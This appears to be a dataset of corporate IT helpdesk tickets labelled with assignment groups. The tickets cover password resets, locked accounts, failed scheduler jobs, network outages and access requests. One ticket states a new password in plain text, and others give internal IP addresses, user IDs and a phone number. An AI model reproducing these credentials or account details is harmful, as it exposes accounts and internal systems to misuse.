(file://efdl9221150/users/linnes/collaboration_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/berirtchtswesen%20gebiet%20nord) + +crm teamordner (file://efdl9221150/users/linnes/collaboration_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/crm%20teamordner) + +teamcall teammeeting (file://efdl9221150/users/linnes/collaboration_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/teamcall%20teammeeting) + +top 5 projekte (file://efdl9221150/users/linnes/collaboration_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/top%205%20projekte) + + + +hallo sabrthy, + +wie weit sind wir in diesem thema? habe noch kein ticket erhalten… + +mit freundlichen grüßen +nizholae bjnqikym +anwendungstechniker i application engineer +nizholae.bjnqikym@gmail.com + +company deutschland gmbh + + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. + +select the following link to view the disclaimer in an alternate language. + +von: nizholae bjnqikym +gesendet: donnerstag, 21. juli 2016 12:16 +an: aorthyme rnsuipbk +betreff: aw: no access to netweaver. + +danke sabrthy… + +mit freundlichen grüßen +nizholae bjnqikym +anwendungstechniker i application engineer +nizholae.bjnqikym@gmail.com + + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. + +select the following link to view the disclaimer in an alternate language. + +von: aorthyme rnsuipbk +gesendet: donnerstag, 21. juli 2016 12:03 +an: nizholae bjnqikym +betreff: re: no access to netweaver. + +hallo stepfhryhan, + +das nimmt ein bisschen zeit. ich erfasse ein ticket dazu. + + +warm ",GRP_0 +"unable to select my course, when i select a language there is an error and unable to go further unable to select my course, when i select a language there is an error and unable to go further",GRP_23 +data backup und restore \ahlqgjwx wbsfavhg data backup und restore \ahlqgjwx wbsfavhg,GRP_24 +setup new ws \aqstdryv flbnyqzc setup new ws \aqstdryv flbnyqzc,GRP_24 +"cannot log-in to telephony_software hello, _x000D_ +_x000D_ +cannot log in to telephony_software, see error message attached. in the meantime i tried so many times that my password is surely locked, too. _x000D_ +_x000D_ +",GRP_7 +"order: 24761483 from: rxoynvgi ntgdsehl +sent: monday, august 08, 2016 12:16 pm +to: nwfodmhc exurcwkm +cc: johthryugftyson hu; kaguhxwo uoyipxqg; -kds sw11-services +subject: rad:fw: order: 35872594 + +hi it team + +kindly please assist, as we unable to create dn for po 5018078764. + + +hydstheud mddwwyleh +operation supervisor +company distribution services of asia pte ltd +( asia regional distribution centre) +email : rxoynvgi.ntgdsehl@gmail.com + + +from: johthryugftyson hu +sent: monday, august 08, 2016 1:14 pm +to: -kds mmaster; rxoynvgi ntgdsehl +cc: -kds sw11-services; kaguhxwo uoyipxqg +subject: re: order: 35872594 + +din, + +please create ticket to it for help. + +juhu jojfufn +ap logistics manager + +from: -kds mmaster +sent: monday, august 08, 2016 1:11 pm +to: rxoynvgi ntgdsehl +cc: -kds sw11-services; johthryugftyson hu; kaguhxwo uoyipxqg +subject: re: order: 35872594 + +hi zadnryuinudin, + +rqfhiong zkwfqagb team can only create sto. we are not authorized to create dn. plant_298 warehouse persons can create dn for the sto 5018078764. + +",GRP_6 +probleme mit drucker in löwe uacyltoe hxgayczeraum\reinhard kröger probleme mit drucker in löwe uacyltoe hxgayczeraum\reinhard kröger,GRP_24 +"abended job in job_scheduler: Job_501 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_501 at 08/08/16 03:24:23",GRP_8 +outlook is not taking password outlook is not taking password,GRP_0 +"abended job in job_scheduler: Job_489 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_489 at 08/08/16 03:13:29",GRP_8 +telefon hörer am apparat fertigung halle c defekt einlasten bei it-plant germany,GRP_33 +"fw: an ''ethical moment'' from the office of ethics and compliance... link not opening hi_x000D_ +_x000D_ +this link is not opening._x000D_ +_x000D_ +from: .ethics@company.com [mailto:.ethics@company.com] _x000D_ +sent: wednesday, august 03, 2016 7:30 pm_x000D_ +to: qfwijzbd gmkiatjs_x000D_ +subject: an ''ethical moment'' from the office of ethics and compliance_x000D_ +_x000D_ +dear team: _x000D_ +_x000D_ +the office of ethics and compliance provides company employees with periodic ethical moments to remind you of your responsibility in practicing good ethical habits. _x000D_ +_x000D_ +click here to access the current ''ethical moment'' _x000D_ +_x000D_ +sethdyr hdtyr_x000D_ +the office of ethics & compliance _x000D_ +",GRP_0 +"now acces to the internet - webside allways offline _x000D_ +_x000D_ +received from: blktuiae.jzakfmhw@gmail.com_x000D_ +_x000D_ +fyi_x000D_ +now access to the internet - webside allways offline_x000D_ +_x000D_ +till this weekend_x000D_ +_x000D_ +i am located in fürth _ germany_x000D_ +_x000D_ +",GRP_0 +link to ethics ethical moment does not work. i am not able to open the ethical moment link either in the e-mail nor from the collaboration_platform site. i tried both the german and english language button.,GRP_0 +"upgrade from ms office 2010 64bit to office 2013 32bit for further using of the software cutview it is a need to install / upgrade to an 32 bit office system_x000D_ +pls untinstall the current office 2010 64bit version and install the 2013 or 2016 32 bit version",GRP_0 +computer network connection lost computer network connection lost ,GRP_31 +windows account locked and reset password windows account locked and reset password ,GRP_0 +system monitor resolution problem not able to set resolution 1920 x 1080,GRP_19 +windows need to be repair windows need to be repair,GRP_31 +unable to open net weaver unable to open net weaver ,GRP_0 +"abended job in job_scheduler: Job_2584 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2584 at 08/08/16 01:31:28",GRP_8 +"the calendar on my iphone is not showing any meetings name:srinfhyath +language: +browser:microsoft internet explorer +email:kflqpite.gbeoqsnc@gmail.com +customer number: +telephone:+91- +summary:hi, the calendar on my iphone is not showing any meetings",GRP_0 +erp SID_1 account locked erp SID_1 account locked ,GRP_0 +"abended job in job_scheduler: Job_481 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_481 at 08/08/16 01:26:28",GRP_5 +reset my password my SID_51 system password has been locked due to too many failed attempts. please unlock my user id: gortyhlia and password. pls find attached error screenshot for your reference.,GRP_2 +bobj repository issue - pls see the attachment for more details bobj repository issue - pls see the attachment for more details,GRP_14 +"received 6500071831 + +received from: wqzarvhx.hfsojckw@gmail.com + +help + +crm 7611182942 is stuck, pls help to solve, ",GRP_15 +account locked in erp SID_34 account locked in erp SID_34,GRP_0 +erp SID_34 account lokced erp SID_34 account lokced ,GRP_0 +not able to login to ethics not able to login to ethics,GRP_19 +"laptop is over heating, left side usb and audio output plug also not working, system is slow laptop is over heating, left side usb and audio output plug also not working, system is slow",GRP_19 +"the terminate action for kgarnzdo vkrqojyt has completed. from: noscwdpm akiowsmp [mailto:system@hr_tool.com] _x000D_ +sent: monday, august 08, 2016 9:21 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:the terminate action for kgarnzdo vkrqojyt has completed._x000D_ +_x000D_ +hello , _x000D_ +_x000D_ +a termination for kgarnzdo vkrqojyt, 11313060, effective 07/26/2016 has been approved._x000D_ +_x000D_ +click the link to view._x000D_ +_x000D_ +",GRP_2 +"can't login to skype ,indicate certificate expired skype for business software can't be used ",GRP_0 +unable to login to engineering tool unable to login to engineering tool ,GRP_0 +"erp无法进行采购（转给贺正平） 进行采购时显示""找不到员工1111154833的数据，请通知系统管理员""",GRP_30 +windows account locked windows account locked ,GRP_0 +windows account locked windows account locked ,GRP_0 +"windows log in password reset from: nkiopevt gufwhdky [mailto:nkiopevt.gufwhdky@gmail.com] _x000D_ +sent: monday, august 08, 2016 7:44 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: wgpimkle kijhcwur_eh_x000D_ +subject: rad:windows log in password reset_x000D_ +importance: high_x000D_ +_x000D_ +hi it team_x000D_ +_x000D_ +i cannot log in to windows._x000D_ +please reset windows password reset._x000D_ +_x000D_ +best ",GRP_0 +密码更改后，outlook无法登陆 密码更改后，outlook无法登陆,GRP_30 +please reset my erp password. please reset my erp password.,GRP_0 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"network outage : south amerirtca(argentina) site is hard down since 05:04pm et on 08/07. what type of outage: ____x_network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _05:04pm et on 08/07_____________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ________ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"abended job in job_scheduler: Job_2114 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2114 at 08/07/16 17:33:26",GRP_9 +"network outage: usa site is hard down since 05:04 pm et on 08/07. what type of outage: _x____network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _05:04 pm et on 08/07_____________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __no______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"abended job in job_scheduler: Job_1640 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1640 at 08/07/16 16:57:27",GRP_6 +"abended job in job_scheduler: snp_heu_5_regen received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: snp_heu_5_regen at 08/07/16 15:28:25",GRP_6 +"abended job in job_scheduler: bk_hana_SID_62_erp_wly_dp received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bk_hana_SID_62_erp_wly_dp at 08/07/16 13:24:24",GRP_8 +"lhqsm673 ( kashfyujqti jdcbiezx1 ) disk free on c:\ is now 14%, which is below the warning threshold (15%) lhqsm673 ( kashfyujqti jdcbiezx1 ) disk free on c:\ is now 14%, which is below the warning threshold (15%) out of total size 75.0 gb",GRP_12 +"abended job in job_scheduler: bwhrattr received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bwhrattr at 08/07/16 09:21:24",GRP_9 +"HostName_1238 ( south_amerirtca, br -plm dsc file - production) wrong number of instances of process dsccache.exe, expected instan HostName_1238 ( south_amerirtca, br -plm dsc file - production) dsccache.exe: wrong number of instances of process dsccache.exe, expected instances gte 1 but found 0",GRP_14 +"HostName_1218(usa, va-plm web-file cache - production): dsccache.exe service is down since 1:08am est on 08/07/16 HostName_1218(usa, va-plm web-file cache - production): dsccache.exe service is down since 1:08am est on 08/07/16",GRP_14 +"HostName_986:(plm conversion- production) alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, ex HostName_986:(plm conversion- production) alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, expected instances gte 5 but found 4",GRP_14 +"abended job in job_scheduler: snp_heu_1_regen received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: snp_heu_1_regen at 08/07/16 06:13:25",GRP_6 +"HostName_1042(bobj-ds-app & web - prod) : al_engine.exe service is down. HostName_1042(bobj-ds-app & web - prod) : al_engine.exe service is down (al_engine.exe: wrong number of instances of process al_engine.exe, expected 1 - found 0)",GRP_14 +"vip:2 log in proplems vip _x000D_ +_x000D_ +received from: oxrnpuys.oxizkwmq@gmail.com_x000D_ +_x000D_ +dear helpdesk._x000D_ +i was on vacation and briefly before i left i changed my password as required._x000D_ +now it seems that my main windows log in is still with the old password, while outlook sype etc. is already on the new password._x000D_ +_x000D_ +also, the company main log on is not right._x000D_ +i usually log in with my company.com account, which is not appearing any more._x000D_ +_x000D_ +what needs to be done._x000D_ +_x000D_ +i am not and will not be at a company site ( network ) for another week._x000D_ +_x000D_ +",GRP_0 +bw jobs are failing because of the server issue bw jobs are failing because of the server issue. could you please check & confirm. please refer the screen shot sent in an email.,GRP_14 +"abended job in job_scheduler: Job_1305 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1305 at 08/07/16 01:24:27",GRP_9 +reboot tax_interface dev servers HostName_972 and HostName_971 at 8/7/2016 1:00 am reboot tax_interface dev servers HostName_972 and HostName_971 at 8/7/2016 1:00 am ,GRP_8 +"abended job in job_scheduler: Job_1315 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1315 at 08/07/16 00:38:26",GRP_9 +"abended job in job_scheduler: bk_hana_SID_22_erp_wly_dp received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bk_hana_SID_22_erp_wly_dp at 08/07/16 00:31:26",GRP_8 +"abended job in job_scheduler: Job_1383 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1383 at 08/07/16 00:23:25",GRP_9 +"abended job in job_scheduler: Job_1142 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1142 at 08/07/16 00:08:26",GRP_9 +abend batch SID_51stat job name: SID_51stat.,GRP_47 +"abended job in job_scheduler: SID_51_start_hana_slt received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_51_start_hana_slt at 08/06/16 23:31:27",GRP_47 +"abended job in job_scheduler: SID_43cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_43cold at 08/06/16 23:17:27",GRP_5 +"recall: re:chg1144575 - approve _x000D_ +_x000D_ +received from: vkezwolt.fgnqzeai@gmail.com_x000D_ +_x000D_ +vkezwolt fgnqzeai would like to recall the message, ""re:chg1144575 - approve""._x000D_ +_x000D_ +_x000D_ +",GRP_25 +"abended job in job_scheduler: SID_51start received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_51start at 08/06/16 22:56:25",GRP_47 +"abended job in job_scheduler: SID_46cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_46cold at 08/06/16 22:29:25",GRP_5 +erp SID_34 is not available i connected through vpn to look up information and erp will not connect. i was able to connect to our local drive plant_101 departments drive but not erp.,GRP_0 +"abended job in job_scheduler: SID_47cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_47cold at 08/06/16 20:26:24",GRP_5 +"abended job in job_scheduler: SID_27hot received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_27hot at 08/06/16 20:21:25",GRP_5 +"abended job in job_scheduler: SID_51cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_51cold at 08/06/16 20:15:25",GRP_5 +"abended job in job_scheduler: SID_79cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_79cold at 08/06/16 20:10:24",GRP_5 +"abended job in job_scheduler: SID_35cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_35cold at 08/06/16 19:55:25",GRP_8 +"abended job in job_scheduler: Job_3032 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_3032 at 08/06/16 19:09:25",GRP_6 +"abended job in job_scheduler: SID_51stop received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_51stop at 08/06/16 18:14:25",GRP_14 +"abended job in job_scheduler: Job_1665 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1665 at 08/06/16 18:06:25",GRP_6 +"abended job in job_scheduler: SID_51_stop_hana_slt received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_51_stop_hana_slt at 08/06/16 17:50:24",GRP_14 +"abended job in job_scheduler: Job_1428 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1428 at 08/06/16 12:01:26",GRP_6 +"abended job in job_scheduler: Job_2078 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2078 at 08/06/16 10:11:26",GRP_6 +erp is locked out need to unlock it erp is locked out need to unlock it,GRP_0 +a recently created variable fails to get opened in bobj analyser due to attached error message a recently created variable fails to get opened in bobj analyser due to attached error message,GRP_19 +vmax disk failed?on df-6a-d-0 is failed reporting_tool alert:the monitor is the disk failed? on df-6a-d-0/000192604484/localhost is outside expected limits (true = true),GRP_8 +"abended job in job_scheduler: bkwin_HostName_768_inc received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkwin_HostName_768_inc at 08/06/16 07:46:25",GRP_8 +"network outage: sao pollaurido-mercedes benz plant network is down since 6:45am et on 08/06/16. no backup circuit what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________6:45am on 08/06/16_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ___________global_telecom_1 #331206737 ______________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"abended job in job_scheduler: apo_cif_pds5_am received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: apo_cif_pds5_am at 08/06/16 07:17:25",GRP_6 +"abended job in job_scheduler: apo_cif_pds5_eu received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: apo_cif_pds5_eu at 08/06/16 07:16:25",GRP_6 +"abended job in job_scheduler: Job_1319 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1319 at 08/06/16 01:37:24",GRP_9 +"issue with downloading mail _x000D_ +_x000D_ +received from: dwujlnhs.ecxvrpyl@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +_x000D_ +i am unable to download my mails out of india office, even if i am connected with internet._x000D_ +kindly help in resolving the issue._x000D_ +_x000D_ +best ",GRP_0 +"abended job in job_scheduler: Job_1141 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1141 at 08/05/16 23:45:28",GRP_9 +"designation change required in outlook. _x000D_ +-------- original message --------_x000D_ +from: bvlcarfe aztlkeifowndararajan _x000D_ +date: 06/08/2016 07:21 (gmt+05:30) _x000D_ +to: sridthshar herytur _x000D_ +subject: gopi - designation change required in outlook. _x000D_ +_x000D_ +dear sir,_x000D_ + _x000D_ +recently i have been elevated as area manager – sales from assistant manager – sales._x000D_ + _x000D_ +kindly help me out to make the change in outlook contact details and collaboration_platform contact details._x000D_ + _x000D_ +",GRP_2 +"HostName_111 : average disk free on e:\ is now 10%, out of total size 750.0 gb noticed the alarm in reporting_tool ._x000D_ +which is below the warning threshold (15%) ._x000D_ +need to check .",GRP_8 +"abended job in job_scheduler: bk_hana_SID_62_erp_dly_dp received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bk_hana_SID_62_erp_dly_dp at 08/05/16 22:03:24",GRP_8 +inquiry on transfer of contacts from phone to system inquiry on transfer of contacts from phone to system,GRP_0 +erp password reset erp password reset,GRP_0 +erp crm password reset erp crm password reset,GRP_0 +need password reset need password reset,GRP_0 +kirty india-two switches are down at 8:57 pm et on 08/05 kirty india-two switches are down at 8:57 pm et on 08/05,GRP_8 +inquiry about lotus notes inquiry about lotus notes,GRP_0 +network outage : company-ap-chn-apac-company-2960-access-sw03 & sw04 are down at 7:07 pm et on 08/05. apac : company-ap-chn-apac-company-2960-access-sw03 & sw04 are down at 7:07 pm et on 08/05.,GRP_8 +apac-: robot HostName_17 is inactive apac: - robot HostName_17 is inactive,GRP_8 +"password change _x000D_ +_x000D_ +received from: orjcgtyz.worylufs@gmail.com_x000D_ +_x000D_ +i changed my password today but not all access locations were updated. need to update all sites._x000D_ +_x000D_ +",GRP_0 +reset passwords for xuqvaobxuy ntqkuocz using password_management_tool password reset. change to new password: alabama4$,GRP_17 +update on inplant_848069 update on inplant_848069,GRP_0 +"hello. please see the highlighted field below, ""tax code"". this field is auto-populating and is inconsistent from: rushethryli h jacfgtykson [mailto:ckflmqoj.fojkrlmw@gmail.com] +sent: saturday, august 06, 2016 2:29 am +to: nwfodmhc exurcwkm +subject: po tax code field auto-populate + +hello. please see the highlighted field below, ""tax code"". this field is auto-populating and is inconsistent. + +is it possible to prevent from auto-populating? where do the po's pull this information from? + +",GRP_29 +unable to connect to wireless unable to connect to wireless,GRP_0 +"can you look and see why this received on line 20 and not line 10. from: efgoawct vwniefok _x000D_ +sent: saturday, august 06, 2016 12:08 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: smxoklny hbecskgl_x000D_ +subject: rak: can you look at this i tried to receive line10 only and it received the 90kg on line 20_x000D_ +_x000D_ +can you look and see why this received on line 20 and not line 10._x000D_ +_x000D_ +from: efgoawct vwniefok _x000D_ +sent: friday, august 05, 2016 1:34 pm_x000D_ +to: smxoklny hbecskgl_x000D_ +subject: can you look at this i tried to receive line10 only and it received the 90kg on line 20_x000D_ +_x000D_ +",GRP_18 +"unlock account email in cell phone the users hello team, + +could you please unlock account emails in cell phone the all users below: + +gifpuwtb aykegsvr- id: bigrtdfatta (kelli.bigrtdfatta@company) +jlzsardp kumtcnwi- id: bactelephony_softwarea (jlzsardp.kumtcnwi@gmail.com) +sbinuxja vtbegcho - id: nicolmghyu (sbinuxja.vtbegcho@gmail.com) +rudfgbens rtwjunior: juniowsrr (glzshbja.aoehpltm@gmail.com) +jgnxyahz cixzwuyf - id: zigioachstyac (jgnxyahz.cixzwuyf@gmail.com) +alexansxcddre olovxcdeira: olivesadia2 (qbtvmhau.zowemnca@gmail.com) +pollaurido robhyertyjo- id: robsdgerp (writfxsq.nwmaxpts@gmail.com) + +note: changed the cell phones the user to a new. + +a wifi and data plan from your service provider is required to setup email on your mobile device. + +is this device company owned? y + +is this a replacement of your old device? y + +if yes, please ensure company data has been removed from the old device (delete exchange setup from settings> mail, contacts, calendar). + +for a personal device, please attach approval form signed by manager to the ticketing_tool ticket. + +please ensure the device is company approved for email setup. + +if it is not a company approved device please contact the gsc. + +for help with exchange setup on a personal device, please contact the device vendor. you may also refer to the faq section for steps. + +has the exchange setup been completed on your device? y/n (you will receive an email stating the device has been quarantined when this is completed). this step needs to be completed for your device to register with company. + + +",GRP_0 +"HostName_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) HostName_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 100.5 gb",GRP_12 +"help with mss worklist since manager left company from: qekdgaim wagshrzl _x000D_ +sent: saturday, august 06, 2016 1:37 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: amar help with mss worklist since manager left company_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i'm writing on behalf of jdlxkygf wlzqaivr and mikhghytr ramdntysey. _x000D_ +_x000D_ +1. jdlxkygf wlzqaivr: davidthd's former manager (and expense report approver), gergrythg bigleman, is no longer with the company. davidthd has an expense report in gergrythg's queue. _x000D_ +2. how does mikhghytr ramdntysey get access to that to approve and/or forward to the correct manager? _x000D_ +3. how can we ensure there are no other requests in gergrythg's universal worklist? _x000D_ +_x000D_ +note: our office will be closed, monday, september 5, 2016 for the labor day holiday._x000D_ +_x000D_ +best ",GRP_52 +"folder access \\HostName_29\kt-transition\infrastructure\security operations pragtyhusas provide access to hnynhsth jsuyhwssad (user id: pragtyhusas) to the below network folder. + +folder access \\HostName_29\kt-transition\infrastructure\security operations",GRP_12 +unable to start dell 7350 unable to start dell 7350 // stuck on welcome screen,GRP_0 +erp SID_37 bex password erp SID_37 bex password ,GRP_0 +update contact number 330-328-8431 in ad update contact number 330 in ad,GRP_34 +crm configuration issue crm configuration issue,GRP_0 +blank call // loud noise blank call // loud noise,GRP_0 +reset passwords for jrigdbox bgyluoqn using password_management_tool password reset. please reset erp password for beahleb......,GRP_17 +"access SID_1 system -erp machine service tag gowzv12- asset tag 404766 SID_1 model is not working in machine service tag gowzv12- asset tag 404766 - error attached _x000D_ +need to produce some uacyltoe hxgayczes in SID_1 enviroment ",GRP_0 +updated passwords and email on mobile device updated passwords and email on mobile device ,GRP_0 +password_management_tool password manager password reset link password_management_tool password manager password reset link,GRP_0 +"bex report _x000D_ +_x000D_ +received from: nealxjbc.owjduxai@gmail.com_x000D_ +_x000D_ +i'm getting an error when i'm trying to run my bex report it won't allow me to log in to SID_37. this is something i have run with no issues in the past. i need this to run my daily reports._x000D_ +_x000D_ +",GRP_0 +unable to login to ethics unable to login to ethics,GRP_23 +"expense account will not post my cost center changed on 7/1/2016 from ltm013 to ltm001. i started an expense account for july, changed the cost assignment to ltm001, but the expense account will still not submit. i receive this error message whenever i try to submit the expense account: ""cost center 1company/ltm013 blocked against direct postings on 7/5/2016"". ",GRP_10 +"access to engineering tool name:gncpezhx hopqcvza +language: +browser:microsoft internet explorer +email:uwiqchfp.hnsukjma@gmail.com +customer number: +telephone: +summary:tool access report",GRP_0 +"abended job in job_scheduler: Job_3194 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_3194 at 08/05/16 14:16:27",GRP_10 +screensaver of company center screensaver of company center,GRP_0 +"abended job in job_scheduler: Job_1390 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1390 at 08/05/16 14:08:26",GRP_9 +company screen saver was changed to company screen saver company screen saver was changed to company screen saver during the last it update on my pc. please change back to company and fix the programdnty so all company screen savers don't get changed!,GRP_0 +"infoblox at chicago office, 10.20.198.9 has stopped issuing ip addresses it is also beeping and the led is flashing.",GRP_4 +"vitalyst icon to desktop hello helpdesk, _x000D_ +_x000D_ +can you help myhzrtsi rwnhqiyv to download the vitalyst icon to his desktop please. _x000D_ +_x000D_ +",GRP_0 +"outlook keeps prompting for password + +outlook keeps prompting for password",GRP_0 +unable to login to collaboration_platform unable to login to collaboration_platform,GRP_0 +"need to know if 54.87.86.150 is able to send smtp via 10.32.1.100 _x000D_ +_x000D_ +received from: mfyivqes.cpihaxbs@gmail.com_x000D_ +_x000D_ +please could someone check if 54.87.86.150 is allowed to send smtp via 10.32.1.100_x000D_ +we need to have this possibility to send out inwarehouse_tool approvals via mail._x000D_ +_x000D_ +this functionality works in the past, and it's very important for our finance department._x000D_ +please let me know why this has been stopped_x000D_ +_x000D_ +",GRP_26 +"unlock account email in cell phone the user urgapyzt tnxiuramdnty id: vaghyliort hello team, + +could you please unlock account email in cell phone the user urgapyzt tnxiuramdnty id: vaghyliort + +",GRP_0 +blank call // loud noise blank call // loud noise ,GRP_0 +account locked account locked,GRP_0 +"update of ae to bw and hana wesley tomlin ; wilsfgtjl2 +verboncouer, markhty a ???? verboma current manager - tgewaniq yepifgbl. does this need a change in mapping? - chefgtnp2 +mason, bengtjamin ??? masonb current manager - tgewaniq yepifgbl. does this need a change in 